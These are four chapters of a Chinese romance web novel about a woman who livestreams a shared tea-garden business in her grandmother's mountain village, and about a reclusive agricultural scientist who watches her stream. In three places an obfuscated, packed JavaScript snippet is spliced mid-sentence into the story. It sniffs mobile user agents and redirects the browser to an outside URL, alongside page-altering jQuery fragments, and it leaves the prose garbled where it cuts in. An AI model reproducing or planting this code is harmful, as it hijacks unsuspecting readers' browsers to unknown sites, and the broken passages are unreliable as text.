《夏夜、晚风和我们》 1. 第一章 《夏夜、晚风和我们》 第一章 春分都过了半月，雨丝还跟扯不断的线似的，斜斜地织在黛青色的山峦间。 东岚村隶属屿城，近年来屿城发展飞速，底下乡镇也纷纷探索出适合自己发展的道路，唯有茶乡东岚村，因为隐匿于重峦叠嶂的山间，不好发展现代化经济，从山里走出去的青年人才没几个愿意回来的，久而久之，东岚村就变成了老人小孩居多的留守村。 夏绵蹲在姥姥家的堂屋门槛上，盯着手机屏幕上跳动的后台数据，手指无意识地敲着膝盖，牛仔裤上沾着的泥点子簌簌往下掉。 “小绵，真要这么弄？”夏绵的姥姥邱云裹着厚棉袄坐在竹椅上，手里摩挲着半干的茶青，斟酌道：“咱东岚茶讲究的是“一沸鱼目，二沸珠泉”，哪能像街头卖唱似的对着镜头吆喝？” 夏绵抬头，露出一截白皙的脖颈，虽然她眉眼间那股子都市白领的精致还没褪干净，可开口却是实打实的接地气：“姥姥，现在卖茶不吆喝不行啊，再守着“酒香不怕巷子深”这个旧理，咱们下半年的药钱就得喝西北风。” 她晃了晃手机，屏幕上是她熬夜做的PPT截图：“您看啊，“共享茶园”，六百九十九块认养一棵茶树，全年四拨新茶包邮，每月直播采茶炒茶，跟我当年教您玩的企鹅农场一个道理，简单来说就是把虚拟的变成真的。” 夏绵说得自信满满，可邱云却是叹了口气，指着墙角那堆蒙尘的炒茶锅：“你呀，在城里当那什么化妆公司的总监当惯了，说话办事跟打机关枪似的。咱种茶的，讲究个“文火慢炒”，急不得。” 夏绵笑而不语，蹲下来帮姥姥理了理衣襟，不小心碰到老人手腕上凸起的青筋，心里顿时软了软。 三个月前她接到邻居电话，说姥姥采茶时突然晕倒昏迷不醒，她连夜从屿城飞回来，看着ICU里插满管子的老人，当场就拍板辞了职。 年薪近百万位数的工作说丢就丢，前老板在电话里骂她疯了，可夏绵知道，没什么比姥姥更重要。她打小没爹妈，是姥姥背着她在茶山上爬了十几年，用采茶换来的钱，供她从东岚村读到了大城市。 “不急不行啊。”她拿起桌上的药盒，指着上面的标价，“这进口药一盒顶您炒十斤明前茶，咱不单靠卖茶，得搞点新花样。” 姥姥家的茶铺开在山脚下，光绪年间的老招牌被雨水洗得发黑，“东岚春”三个字还透着苍劲。 只是这几年年轻人都往外跑，镇上的新茶商又总压价，去年冬天连炒茶师傅都被邻县的茶厂挖走了。邱云住院那阵，几亩老茶园差点就被村里的二赖子用低价盘了去。 但现在，夏绵早就盘算好了。 东岚山的茶叶好，可惜藏在深闺人未识。城里年轻人现在就吃“原生态”和“参与感”这套，把茶园搬到线上，让他们看着茶树从冒芽到成茶，既能卖情怀又能卖高价，简直是完美的商业模式。 夏绵说干就干。 她的“共享茶园”方案通过村书记那关后，就联合加入她方案的茶农一起把村子里的茶园翻了一遍，她还买了监控设备和直播支架，连账号名都想好了，叫“茶门信徒”。 昨天调试设备时，村里的半大孩子围着她的手机叽叽喳喳，吓得她姥姥的那只老黄狗对着镜头狂叫，还差点把支架撞翻。 “时辰到了。” 邱云突然坐直身子，指着墙上的挂钟：“你姥爷当年说，卯时开采，茶气最足。” 夏绵一看时间，六点整。 她麻利地穿上雨衣，把手机架在茶园边的老松树下，镜头正好对着那片刚冒新芽的茶树，凉凉的雨丝落在镜头上，晕开一片朦胧的绿意。 “家人们早上好，这里是东岚山共享茶园的首播现场。” 她对着镜头挥挥手，脸上是职业性的微笑，眼神却不自觉地瞟向旁边围观的几个老人，“看到我身后这些茶树没？今天开始，它们可以认养啦！” 话没说完，人群里爆发出一阵笑，王阿公拄着拐杖敲了敲泥地：“小绵，你这是要给茶树找干爹干妈？” 夏绵眼睛一亮，顺势接话：“差不多！认养了就是茶树的荣誉主人，我每天直播给您看它长多高，发了多少芽，采下来的茶叶第一时间给您寄过去，绝对比您对象还贴心。” 这话说得直白又俏皮，连抱着看热闹心态来的路人都掏出手机开始拍，夏绵眼疾手快，立马把镜头对准王阿公：“阿公您看，这棵是百年老茶树，当年还是您跟我姥爷一起栽的，认养价一万九千九百九十九元，送全年茶席体验，您要不要给它当荣誉家长？” 王阿公被她逗得胡子直翘，嘴上说“胡闹”，脸上却笑开了花。 几个半大的孩子从田埂那头跑过来，裤脚沾满泥点，领头的大男孩邱田凑到镜头前做鬼脸，被夏绵笑着拍开：“秋田狗一边玩去！等姑奶奶我赚了钱，给你和你的小弟们买城里的奶茶喝！” 有阿婆阿公们在镜头里说说笑笑着，直播间的观看人数慢慢上来，从零到一，再从一到十，虽然人数不多，但毕竟这才刚开始，夏绵心满意足。 * 省农科院实验楼。 “陶老师，这是最后一批东岚山的春茶样了。” 助理小陈抱着记录本进来，见里面的人脸色不好，声音放轻了些，“农残检测都过了，但视觉评分……” “视觉评分做不得准。”陶风打断他，指尖捏起一片叶底对着光看，“你看这叶脉，锯齿处有损伤，应该是采摘时用了指甲掐，不是折的。” 小陈凑近了看，果然见叶尖有细微的凹陷，不由得咋舌：“您这眼睛比显微镜还厉害。” 陶风没接话，把叶底丢回杯里。 东岚山是他的重点监测区域，那里的群体种老茶树有上百年历史，茶多酚含量比普通品种高百分之二十，是做深加工研究的好材料，可这几年收到的样本一次比一次差，要么是工艺粗糙，要么是为了增产用了不该用的肥料。 “陶老师，孔教授让您过去一趟。”门口传来一个学生的声音，带着点小心翼翼，“好像是关于研讨会……” 陶风的指尖猛地收紧，他重新戴上眼镜，镜片反射出的冷光遮住了他眼底有些慌乱的情绪。 “知道了。” 走廊尽头，孔教授的办公室门虚掩着，里面传来争执声。 “他那镜头恐惧症都多少年了，让他在几百人面前做报告，这不是为难他吗？”是副所长的声音。 “为难也得去。”孔教授的声音带着不容置疑的坚决，“他的“老茶树生态栽培”研究多扎实？可看看现在，报奖被截胡，成果被人改头换面拿去发论文，不就是因为他不肯露面？这次研讨会是给他铺路，不是害他。” 陶风站在门外，指节抵着冰冷的墙。 心理医生的话又在耳边响起：“试着先和陌生人建立弱连接，比如……开个直播？不用露脸，说说话就行。” 开直播？对着镜头讲茶树虫害防治？怕不是会被别人当成什么奇怪的学术骗子。 回到办公室，小陈已经收拾好样本离开了。桌面上，除了摊开的论文，还放着他刚买不久的平板，心理医生说，用这个看直播比手机清楚。 鬼使神差地，陶风点开了应用商店里那个下载了三天却没打开过的直播软件。 首页推荐里，唱歌跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084724|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舞的网红晃得人眼晕，他随手划着，直到一个带着雨雾滤镜的画面跳出来。 账号叫“茶门信徒”。 镜头有点晃，背景是一片湿漉漉的茶园，一个穿着米白色冲锋衣的女生蹲在地上，正拿着镊子夹茶叶，动作极其笨拙。 “大家看，这就是没采好的“一芽一叶”！”女生的声音清亮，脸上带着恰到好处的微笑：“叶梗太长，炒出来会发苦。刚才秋田狗采的那批就标准，就是……”她顿了顿，“成本有点高，他要我给他买两杯奶茶才肯干。” 镜头外传来孩子的哄笑声，还有个苍老的声音在喊：“绵丫头，火上来了，该炒茶了！” 女生应了一声，镜头一转，拍到廊下一口乌黑的老茶锅，炭火正旺，她起身时，马尾辫发梢的水珠甩到镜头上，留下一片模糊的水渍。 陶风的眉头几不可察地皱了起来。 炒茶前不先杀青？铁锅温度目测不足二百度，这样的火温，茶叶会闷黄的。 他手指悬在屏幕上方，想退出去，却看见女生笨手笨脚地把茶叶倒进锅里，铁铲翻搅的动作毫无章法。 “完了，”陶风低声自语，语气里竟带了点连自己都没察觉的惋惜：“这锅茶，废了。” 直播间里只有寥寥几个观众，弹幕稀稀拉拉的： 【这茶看着好新鲜，多少钱一斤？】 【主播开美颜了吧？种地的哪会长这么漂亮。】 【前面的那个在搞什么歧视？工农阶级永远是最漂亮的！】 【主播手好好看，就是动作有点好笑。】 【奶奶的，这场景让我想老家的茶园了。】 【建议主播改行跳舞，不要浪费了这张脸！】 女生没看弹幕，光顾着跟镜头外的老人说话：“姥姥，火够不够？要不要再加两块炭？” “够了够了，你那点茶叶，用不了这么大火。”老人的声音带着笑意，“慢着点翻，别烫着手。” 陶风看着屏幕里那锅渐渐失去鲜亮色泽的茶叶，忽然想起久远的从前，父亲也是这样在廊下炒茶。 他总嫌父亲的手法太老派，非要用恒温炒茶机，气得父亲把他的研究报告扔到了灶膛里。 他低笑一声，带着点自嘲。 自己这是怎么了？居然对着一个外行的炒茶直播看入了神。 平板屏幕上，女生终于想起看弹幕，手指飞快地打字回复，眼里的笑意透过模糊的镜头都能感觉到。 【共享茶园？是什么意思？】 【就是认养一棵茶树呀，】女生回复得很快，【您选一棵，我们负责种，采了茶寄给您，全程直播，童叟无欺。】 【听上去好好玩！贵不贵？】 【不贵不贵，体验价六百九十九一年，还送两次采茶体验券，拍三棵以上包食宿喔~】 陶风挑眉，六百九十九？够买两斤上好的明前松萝茶了，这定价策略，倒是有点意思，像在做什么互联网产品的初期引流。 他刚想关掉直播，就看见女生拿起一撮炒坏的茶叶，对着镜头晃了晃：“不好意思各位，刚才火候没掌握好，这锅算失败品。不过没关系，创业嘛，总得交学费。”她笑得坦荡，眼睛弯成了月牙，“下一锅，保证好喝！” 窗外的微光穿透云层，照在平板屏幕上，映出女生眼底细碎的光。 陶风看着那抹光，原本淡漠的眼神，竟悄悄柔和了几分。 他拿出手机，给心理医生发了条消息： “直播，好像也没那么难。” 发送成功的提示弹出时，平板里传来女生欢呼的声音：“耶！有人下单了！姥姥，我卖出去了第一棵！” 2. 第二章 第二章 夏绵刚把直播支架扎进茶园泥地里，就被几个半大孩子围了上来。 邱田的妹妹邱小麦举着根狗尾巴草往镜头前凑，毛茸茸的草穗差点戳到屏幕，几个涌上来的小男孩更直接，扒着她的胳膊就往上蹿：“绵绵姐绵绵姐，让我看看直播间里是什么样子！” “别闹别闹！”夏绵左躲右闪，既要护着手机不被撞翻，又得提防孩子们踩坏茶垄，脚下一滑差点坐进泥里。等她好不容易把几个小捣蛋哄到竹棚下，回头看屏幕时，弹幕已经刷成了瀑布： 【刚进直播间以为在看惊悚片，镜头忽上忽下还有不明生物乱入。】 【这是共享茶园还是共享过山车？主播我晕车了谢谢！】 【前面的+1，我妈问我为啥对着手机磕头呵呵呵……】 【主播是不是被绑架了？眨眨眼我去救你！】 夏绵对着镜头无奈扶额：“家人们抱歉啊，咱这是沉浸式直播，附赠山村童趣体验。刚那几位是咱茶园的荣誉童工，负责给茶树捉虫的，不是来劫道的。” 她边说边调整镜头角度，把满坡的茶树框进画面，冲锋衣袖口沾着的泥点蹭到屏幕上，倒添了几分真实感。 【不是，这主播确定是来种茶而不是作秀的？】 直播间里飘过一条质疑夏绵的弹幕： 【穿真丝衬衫蹲茶垄？】 夏绵正对着镜头调整支架，闻言低头瞅了眼衬衫领口沾的泥印，抬手捋了把被雨打湿的额发，笑得坦荡：“勾破了正好，好让你们可怜可怜我这个没有功劳也有苦劳的茶园新手！说正事啊，刚有人问认养茶树包不包炒茶，我跟你们说，不单包炒，还能选师傅！” 她突然把镜头转向身后的竹棚，邱云的妹妹邱阿婆正坐在小马扎上揉捻茶青，指节翻飞间，茶青渐渐成团：“看到没？邱阿婆炒了五十年茶，拿手的东岚炒青，当年给外国宾客表演过的！认养九百九十九档的茶树，直接指定阿婆给你炒，全程直播，童叟无欺！” 【哇！非遗传承人啊这是】 【不到一千块就能请老茶师亲自炒？这价血赚吧】 【主播别光顾着说，茶树长得咋样啊？不会是荒山吧？】 夏绵立刻扛起手机支架往茶园深处走，泥地里的胶鞋踩出“咕叽咕叽”声：“荒山？你们自己看吧！”镜头扫过齐腰高的茶树，新抽的嫩芽带着雨珠，“这都是三年生的无性系良种，去年刚施过茶籽饼肥，不信你们看土壤——” 她蹲下身抓起一把土，镜头怼得极近，黑褐色的泥土里混着细碎的腐叶：“东岚山特有的黄棕壤，有机质含量百分之五以上，种出来的茶自带茶花香，懂行的都知道这地有多金贵。” 弹幕里瞬间冒出来几个懂行的： 【确实！东岚茶的茶香就靠这土。】 【可惜路太烂，前几年收茶的车都不敢来。】 【对啊，我爸以前去哪里旅游过，说山路能把人颠吐！】 夏绵手一顿，随即拍了拍膝盖站起来：“路的事你们别操心！刚跟村支书通了电话，下个月旅游专线就动工，以后开车来摘茶，路平得能跑滑板车！” 她这话刚说完，直播间的关注数“噌”地涨了一截，连带着小黄车里的认养订单也跳了两下。 夏绵低头一看，有两个观众分别拍下了九百九十九档的茶树。 “感谢“洋葱也是葱”和“AAA水产杨老板”的支持！” 夏绵对着镜头比了个心，“你们的茶树编号三和七，我这就给挂上牌子，以后就是有身份的茶树了！” 旁边的半大孩子举着木牌跑过来，牌上用红漆写着编号，夏绵接过往茶树干上一挂，动作非常利落，这可是她在互联网公司练出来的手速。 * 省农科院的实验室里，陶风正对着电脑屏幕上的土壤检测报告皱眉。 屏幕右下角的小窗里，夏绵正蹲在茶树下挂认养牌，马尾辫随着动作甩来甩去，冲锋衣后背沾着块显眼的泥渍。他指尖划过报告上“东岚山土壤样本”几个字，眉头皱得更紧。 数据显示这里的茶树有轻微缺铁症，不及时调理，秋茶的香气会差一大截。 “陶老师，镇政府那边又来电话了。”小陈敲门进来：“东岚山那边催得紧，问您茶树营养调控方案啥时候能出，他们想借着旅游专线动工，把共享茶园搞成示范项目。” 陶风抬眼：“方案上周就发过去了。” “可他们说……看不懂。”小陈挠挠头，“说您写的螯合态铁肥施用浓度太专业，问能不能派个人去现场指导。” 陶风的视线落回屏幕。 里面的女孩正拿着个小本子记茶树生长数据，嘴里还念叨：“这棵芽头比昨天长了两毫米，看来雨前追肥没白施……” 他忽然开口：“我去。” 小陈愣了：“您去？可是下个月的研讨会……” “研讨会的报告可以延后整理，”陶风合上报告，“东岚山的春茶采摘窗口期就这半个月，错过要等明年。”他顿了顿，补充道，“正好我的生态防治项目需要实地数据。” 屏幕里，“茶门信徒”的直播还在继续。 有观众问起茶树病虫害，主播拿起片带斑点的叶子对着镜头：“这是叶斑病，往年都靠打药，今年我听农技站说能用生物防治，放些寄生蜂啥的，就是不知道咋操作，有懂行的家人给支个招不？” 陶风的指尖在桌面上敲了敲，点开弹幕输入框，打了行字又删掉： “寄生蜂需配合性信息素诱捕器使用，放置密度每五十平方米一只……”，想了想，终究还是没发出去。 他起身走到窗边，楼下的玉兰开得正盛。 作为农科院最年轻的研究员，他总被人说“太闷”，学术报告能写得滴水不漏，却对着采访镜头说不出完整的话，导师总劝他：“搞农业不能光埋首实验室，得让技术落地。” 或许，东岚山是个机会。 * 直播间里，夏绵正跟弹幕插科打诨：“别催我学技术了，我这不是在等外援来救我吗？刚才村支书说，省农科院要派个专家来指导，据说是茶学博士，专攻茶树培育的，等他来了，让他给你们开课！” 【专家？是男是女？是帅哥还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084725|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美女？】 【楼上的关注点歪了！重点是专家啊！】 【有专家坐镇，这共享茶园靠谱多了！】 【所以专家啥时候来？我等着买专家炒的茶。】 夏绵笑着摆手：“别急啊，人家是省农科院的高级人士，哪能说动就动，估计还在收拾下乡的东西呢！” 话没说完，手机响了，是村书记邱东打来的：“小绵，跟你说个事，农科院派来的专家定了，叫陶风，明天就到，你记得去路口接一下。” “陶风？”夏绵重复了遍这名字，想到了一个词语叫“桃李春风”，顿时觉得名字还挺顺口，“行，我明天早点去。” 挂了电话，她对着镜头挑眉：“家人们，最新消息，专家明天到，叫陶风，这名字听着还挺文艺浪漫的，到时候我给你们直播专家来村里，看看是不是你们期待的帅哥美女！” 弹幕瞬间爆屏： 【明天蹲点！】 【赌一包茶叶，绝对不是帅哥美女！】 【+1！专家不都那样吗？不是秃顶就是大肚……】 【主播记得多拍点细节！】 夏绵笑着应下，刚想转话题，小黄车突然跳出个订单提示：一万九千九百九十九元，认养百年老茶树，备注里写着：“期待陶老师的专业指导。” “嚯！”夏绵眼睛一亮，对着镜头比了个耶，“感谢“考公不如烤地瓜”家人的信任！您放心，等专家来了，让他给您的茶树做个全身体检！” 市中心的高档公里，陶风正把最后一台便携式检测仪塞进背包，小陈抱着件冲锋衣进来：“老师，东岚山早晚凉，带件厚的。” 陶风接过衣服，指尖触到衣料上的褶皱，忽然想起刚才直播里，夏绵那件冲锋衣的袖口磨得起了毛边。 他拉开抽屉，放进去几本装订好的资料，《东岚山茶树种质资源图谱》《茶树常见病虫害防治手册》，最后，犹豫着把一支全新的茶针也放了进去，这茶针是去年评茶大赛的纪念品，他从来没用过。 明天要面对的不只是茶园和数据，还有直播间里那些跳动的弹幕，和那个看起来精力异常旺盛的主播。 他拿出手机，点开茶门信徒的直播间，粉丝数已经从两千涨到了一万。 屏幕里，夏绵正指挥着几个小孩给茶树挂牌，笑声顺着听筒飘出来，清脆得像风干了的嫩芽。 陶风关掉屏幕，背起背包。 楼道里的声控灯随着他的脚步亮起又熄灭，映着他挺拔的身影，一路走向电梯。 而茶园边的夏绵，刚把最后一块认养牌挂好，山风带着茶香吹过，她抬头望了眼通往山外的路，忍不住猜想，明天要来的那位专家，她以后的茶园伙伴，会是个什么样的人？ 她掏出手机，给邱书记发了条消息：“明天接专家，需要准备点啥不？比如……沏好的茶或者烤好的茶酥？” 邱书记秒回：“不用，人家是专家，估计啥好茶没见过，你把你那共享茶园的计划表准备好就行。” 夏绵撇撇嘴，收起手机。 管他啥专家，能帮着把茶种好、卖好，就是好专家。 3. 第三章 第三章 东岚山的日光刚爬过山头，村口的老槐树下就聚了不少人。 “听说了没？省农科院来的专家今天到。”张阿婆把竹篮往树杈上一挂，踮脚望着通往山外的路，“邱书记说是个很有文化的博士，男的，专搞茶树研究的。” 夏绵嘴里叼着半根油条，手里还攥着刚打印的认养茶树登记表，闻言含糊不清地接话：“男的？又是博士又是专家的，那估计得是个戴厚眼镜、穿polo衫的大叔吧？”她昨天在直播间跟粉丝打赌，输了要给专家表演炒茶颠锅，这会儿正琢磨着怎么耍赖。 话音刚落，远处传来“突突突”的摩托声，紧接着是公交车的刹车声。 东岚村的公交班车每天就一趟，停在两公里外的岔路口，剩下的路得靠脚走或摩托接。 “来了来了！”邱田扯着嗓子朝他们喊了一声。 夏绵顺着人群的目光望去，先看到个穿蓝色工装的司机师傅，正帮着往下搬行李箱。箱子看起来沉甸甸的，上面印着“省农科院”的字样，然后，一个高高的身影从公交车上下来，逆着光站在路牌下。 那人穿了件简单的白色衬衫，袖口卷到手肘，露出肌肉线条清晰的小臂。他肩上还挎着个黑色帆布包，手里提着个金属工具箱，箱子上贴着“精密仪器”的标签，阳光落在他头发上，泛着点浅棕色的光泽，鼻梁上架着副细框眼镜，镜片后的眼睛正看向这边，带着点疏离的平静。 夏绵嘴里的油条“啪嗒”掉在了桌子上。 他……他就是专家？ 不是她想象中的地中海大叔，也不是满脸沧桑的科研宅男，这人站在土路上，白衬衫一尘不染，连背着的帆布包都像是精心打理过的，偏偏和身后的青山绿水没半点违和感，反倒像幅走出来的水墨画。 “那就是要来勘察茶园的陶老师吧？”王阿公眯着眼笑，“这模样，比电视里的明星还俊。” 夏绵没吭声，心跳莫名快了两拍，她赶紧捡起油条，假装吹了吹，实则偷偷掐了自己一把。 别犯花痴，人家是来指导工作的，不是来给你当直播素材的！ 邱书记已经迎了上去，隔着老远就伸出手：“陶老师吧？我是书记邱东，东岚村的父老乡亲们可把你盼来了！” 陶风握住他的手，声音清冽，好听得像东岚山山涧泉水：“邱书记好，我是陶风。” “哎哎，快进村！”邱书记热情地接过他手里的工具箱，又招呼夏绵，“小绵，过来帮陶老师拎箱子！” 夏绵这才回过神，小跑过去想接行李箱，手刚碰到拉杆，就被陶风轻轻避开：“不用，不重。”他的指尖不经意擦过她的手背，微凉的触感让夏绵缩了缩手。 “专家就是不一样，客气！”夏绵嘿嘿笑了两声，眼睛却忍不住往他脸上瞟。 眼镜片很干净，连个指纹都没有，能看到他长而密的睫毛，鼻梁高挺，嘴唇的线条很淡，抿着的时候有种说不出的禁欲感。 直播间的粉丝早就炸开了锅，夏绵出门前没关直播，手机就架在老槐树下的石桌上，正好把这一幕拍了进去： 【卧槽！这是专家？我没看错吧？】 【这颜值！去当明星都够了吧！】 【主播刚才说啥来着？大叔？脸疼不？】 【我赌五包茶叶，主播现在在流口水】 夏绵瞥见弹幕，伸手对着镜头做了个鬼脸，转身跟陶风搭话：“陶老师，咱东岚村的路不好走，您坐公交车来的？没晕车吧？” 陶风“嗯”了一声，视线落在她手里的登记表上：“在统计认养信息？” “是啊！”夏绵立刻来了精神，把表递过去，“您看，这几天订了二十多棵，都说等您来了给把把关呢。”她特意把“您”字咬得重了些，礼貌之中还带着点调侃。 陶风接过表，目光扫得很快，手指在“百年老茶树”那一行顿了顿：“这棵树有编号吗？” “有！我给它编了零零一号，就等您来考察了！”夏绵笑得像只偷腥的猫，心里盘算着怎么让这位帅哥博士配合她直播圈粉。 一行人说说笑笑往村里走，陶风话不多，大多时候是听着，偶尔被问到茶树问题，才开口说几句，却总能说到点子上。 路过茶园时，他突然停下脚步，指着一株茶树的叶子：“这是轻微的炭疽病，得用波尔多液防治，浓度不能太高。” 跟在后面的茶农们赶紧记下，夏绵看着他认真的侧脸，突然觉得这人虽然高冷，但专业度高得是真让人没话说。 到了邱书记家，午饭已经备好，大红色八仙桌上摆着野味炖鸡、山笋炒肉、葱烧鲤鱼还有刚做好的茶酥等等，都是山里的家常菜。陶风被让到主位，他不太习惯这种热闹，微微欠了欠身，才坐下。 “陶老师，尝尝咱自酿的米酒！”邱书记端起酒壶就要倒，被陶风抬手拦住。 “抱歉，下午要整理数据，不能喝酒。”他拿起茶杯，指腹碰到杯沿时顿了顿，这才看清杯子是粗陶制的，上面还印着“东岚茶”三个字。 夏绵看他拘谨的样子，故意夹了块最大的鸡腿给他：“陶老师，别客气啊！在咱这儿就得像自家人，不然茶都喝不香。” 陶风道了谢，把鸡腿放进碗里，目光落在墙角的旧账本上，邱书记说那是村里的茶园日志，记着历年的收成和病虫害情况。 他起身拿过来看，手指拂过泛黄的纸页，突然问：“日志里提到的那棵百年老茶树，现在是谁在管？” 邱书记扒了口饭：“是小绵她姥姥家的，邱老太太以前是种茶能手，可惜前阵子摔了一跤，腰疼得厉害，她家那片茶园就荒着了。” 陶风抬眼看向夏绵：“我想去看看，取点样本做研究，可以吗？” 那是姥姥的茶园，也是姥姥的资产，夏绵不知道该不该答应，心里咯噔了一下。 老茶园在山坳里，路最难走，而且姥姥这阵子总念叨着要把树卖了治病，她正愁怎么劝，这会儿陶风要去取样，说不定能帮着说服姥姥留下茶树。 “当然可以！”夏绵立刻点头，“不过得等我回去问问姥姥，她老人家现在是茶园的太上皇，什么都是她说了算。” 这话逗得满桌人都笑了，陶风的嘴角也微微上扬，那清俊秀气的模样，瞬间让夏绵看呆了。 直播间的观众疯狂刷屏： 【啊啊啊！陶老师笑了！我截图了！】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084726|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【这颜值！我要认养十棵茶树！求他每天直播看树】 【主播别愣着啊！问他有没有女朋友！】 夏绵回过神，对着镜头翻了个白眼，心里却跟揣了只小兔子似的，砰砰直跳。 饭后，邱书记搓着手安排：“陶老师，村里就一家旅馆，在小学旁边，条件一般，您委屈下？” “没关系。”陶风收拾好工具箱，“我主要是来工作的，不讲究。” “那让小绵送你过去吧！”邱书记拍板，“她会骑三轮车，坐车比走路快。” 夏绵眼睛一亮，正愁没机会跟帅哥单独相处，立刻举手：“保证完成任务！”她冲陶风眨眨眼，“陶老师，上车吧，我这三轮车可是“东岚山牌敞篷车”，坐上去享受山村美景，那叫一个舒坦！” 陶风没拒绝，跟着两人来到后院，院子里那辆除了铃铛不响哪儿都响的三轮车让他犹豫了一下，但最后还是坐了上去。 夏绵发动车子，故意放慢速度。 山间的风带着茶香吹过来，撩起她的长发，也吹动了陶风额前的碎发。 “陶老师，您研究茶树多久了？”夏绵没话找话。 “八年。” “那您肯定喝过不少好茶吧？咱东岚茶跟别的比，如何？” 陶风沉默了一下，说：“东岚茶自带的像是兰花的香气很独特，只是工艺需要改良，不然香气留存不住。” “那您能帮咱改改不？”夏绵眼睛发亮，“改好了，我请您喝一年的明前茶！” 陶风转头看她，阳光落在她脸上，绒毛都看得清清楚楚，她的眼睛很亮，此刻那眼神里还带着点狡黠的期待。 “可以试试。”他说着便移开了视线，看向路边的茶树，耳朵却悄悄红了。 到了旅馆门口，夏绵帮着把行李箱搬下来，旅馆是间老房子改造的，门口挂着“东岚旅馆”的木牌。 “陶老师，就这儿了。”夏绵拍了拍手，“有啥需要的跟我说，我住得近，随叫随到。” 陶风点点头，拿出手机想看看时间，夏绵却突然凑过来：“哎，陶老师，加个微信呗？以后茶园有啥问题，我好随时请教您。” 陶风的手指顿在屏幕上，迟疑了几秒，才点开微信二维码。 “滴”的一声，好友添加成功。 夏绵看着他微信头像，是一片翠绿的茶园，忍不住笑出了声：“您这头像还挺应景。” 陶风没说话，只是看着她：“下午我想去看看那棵老茶树。” “没问题！我回家问完姥姥就来找您！”夏绵挥挥手，骑着三轮车欢快地走了，车斗里的登记表被风吹得哗哗响。 陶风站在门口，看着她的背影消失在拐角，才转身进了旅馆。 他点开夏绵的微信头像，是只蹲在茶树下的三花色小猫，签名写着：“东岚山首席茶农，兼荣誉茶主经纪人。” 屋外的蝉鸣渐渐响起来，正午的阳光透过窗棂落在工具箱上，映出“精密仪器”四个字。 夏绵刚到家门口，就见姥姥坐在门槛上，手里攥着块皱巴巴的帕子，见她回来，突然开口：“小绵，那棵老茶树……这几日叶尖总发黑，我没敢跟你说。” 4. 第四章 第四章 夏绵的手指在手机屏幕上悬了足足半分钟，她看了眼手帕上面沾着的几片发黑发焦、边缘卷得像被火燎过的茶叶，深吸一口气，打开微信，然后点开和陶风的聊天框，删删改改最后只发了个流泪的小猫咪表情包，紧跟着补了句：“陶老师，救急！我姥姥家那棵百年老茶树，叶子尖突然发黑，您能给看看吗？我姥把老茶树当传家宝，她现在很担心，你现在方便聊聊吗？” 消息发出去的瞬间，聊天框上面就显示“对方正在输入”，夏绵盯着那几个字，心跳突然变快，赶紧端起桌上的凉茶灌了满满一口，心底那抹莫名的灼热一下子就降去了多半。 “小绵？发啥呆呢？” 邱云收起手帕，戴上老花镜往夏绵手机屏幕上看，担忧得问：“那个专家是不是说治不好？如果实在不行……” “你别害怕，他能治好！”夏绵赶紧把手机往怀里藏，“人家是专家，肯定有办法。” 话音刚落，陶风的消息弹了出来：“可能是根腐病，也可能是缺铁性黄化，你拍几张老茶树周围的环境和发黑的茶叶给我看看。” 夏绵手忙脚乱跑到院子里，对着老茶树的方向拍了张远景，又让姥姥拿起手帕，特意凑近拍了片发黑的叶子。 发送键刚按下去，对方秒回：“你所在的地方距离老茶树太远了，而且我看不清发黑的茶叶叶脉，我认为我还是亲眼去看看老茶树比较稳妥。” “那你什么时候有空？” “现在就可以。” “这么快？” 夏绵差点把手机掉地上，抬头看了眼日头，“那……在山路入口的老槐树下见？我去拿采茶工具。” “不用，我带了检测仪。” 夏绵对着屏幕吐了吐舌头，果然是科研人员，走到哪都带着家伙使。 她赶紧回屋换了双防滑胶鞋，刚要出门就被姥姥拉住：“把这个带上。” 邱云往她兜里塞了袋盐津小枣，嘱咐说：“那专家看着斯斯文文的，你想和他套近乎，就得客客气气的，别让人家觉得咱山里人不懂礼数。” 夏绵接过那袋小枣，然后飞也似地跑出家门。 * 昨夜刚下过雨，山路比想象中难走，夏绵踩着碎石子往上爬，远远就看见陶风站在槐树下。 他换了件浅灰色冲锋衣，背着黑色双肩包，手里拎着个银色工具箱，风吹得他额前的碎发飘起来，露出干净的额头。 “陶老师！”夏绵隔着老远就挥手，脚下没注意，被藏在泥土里的树根给绊倒在地。 陶风快速跑过来扶她起身，他掌心的温度透过衣袖传过来，夏绵的胳膊像被烫到似的猛地一下缩回去，抬头结结巴巴地说：“谢……谢谢陶老师，我没事。” 陶风低声回了句：“没关系。” 夏绵拍了拍身上的土，带着他继续往山上走。 老茶树就长在山沟最里面，树干上还挂着夏绵亲手钉的零零一号木牌，只是木牌边缘已经被雨水泡得发卷，陶风刚走到树下就蹲了下来，打开工具箱拿出个金属探针，小心翼翼地插进树根附近的土壤里。 